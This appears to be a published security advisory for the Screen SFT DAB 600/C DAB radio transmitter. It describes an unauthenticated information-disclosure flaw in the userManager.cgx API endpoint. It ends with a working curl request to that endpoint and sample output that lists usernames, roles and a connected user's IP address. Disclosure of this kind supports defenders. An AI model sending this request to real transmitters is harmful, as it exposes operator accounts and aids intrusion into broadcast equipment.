Screen SFT DAB 600/C - Unauthenticated Information Disclosure (userManager.cgx)

# Exploit Title: Screen SFT DAB 600/C - Unauthenticated Information Disclosure (userManager.cgx)
# Exploit Author: LiquidWorm

Vendor: DB Elettronica Telecomunicazioni SpA
Product web page: https://www.screen.it | https://www.dbbroadcast.com
                  https://www.dbbroadcast.com/products/radio/sft-dab-series-compact-air/
Affected version: Firmware: 1.9.3
                  Bios firmware: 7.1 (Apr 19 2021)
                  Gui: 2.46
                  FPGA: 169.55
                  uc: 6.15

Summary: Screen's new radio DAB Transmitter is reaching the highest
technology level in both Digital Signal Processing and RF domain.
SFT DAB Series - Compact Radio DAB Transmitter - Air. Thanks to the
digital adaptive precorrection and configuatio flexibility, the Hot
Swap System technology, the compactness and the smart system design,
the SFT DAB are advanced transmitters. They support standards DAB,
DAB+ and T-DMB and are compatible with major headend brands.

Desc: Screen is affected by an information disclosure vulnerability
due to improper access control enforcement. An unauthenticated remote
attacker can exploit this, via a specially crafted request to gain
access to sensitive information including usernames and source IP
addresses.

Tested on: Keil-EWEB/2.1
           MontaVista® Linux® Carrier Grade eXpress (CGX)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2023-5776
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5776.php


19.03.2023

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$ curl 'http://SFTDAB/system/api/userManager.cgx'
{"ssbtType":"userManager","ssbtIdx":0,"ssbtObj":{"admin":false,"users":[{"user":"testingus","type":"GUEST","connected":false,"info":null},{"user":"joxy","type":"OPERATOR","connected":false,"info":null},{"user":"dude","type":"OPERATOR","connected":true,"info":{"ip":"192.168.178.150","tmo":120}}]}}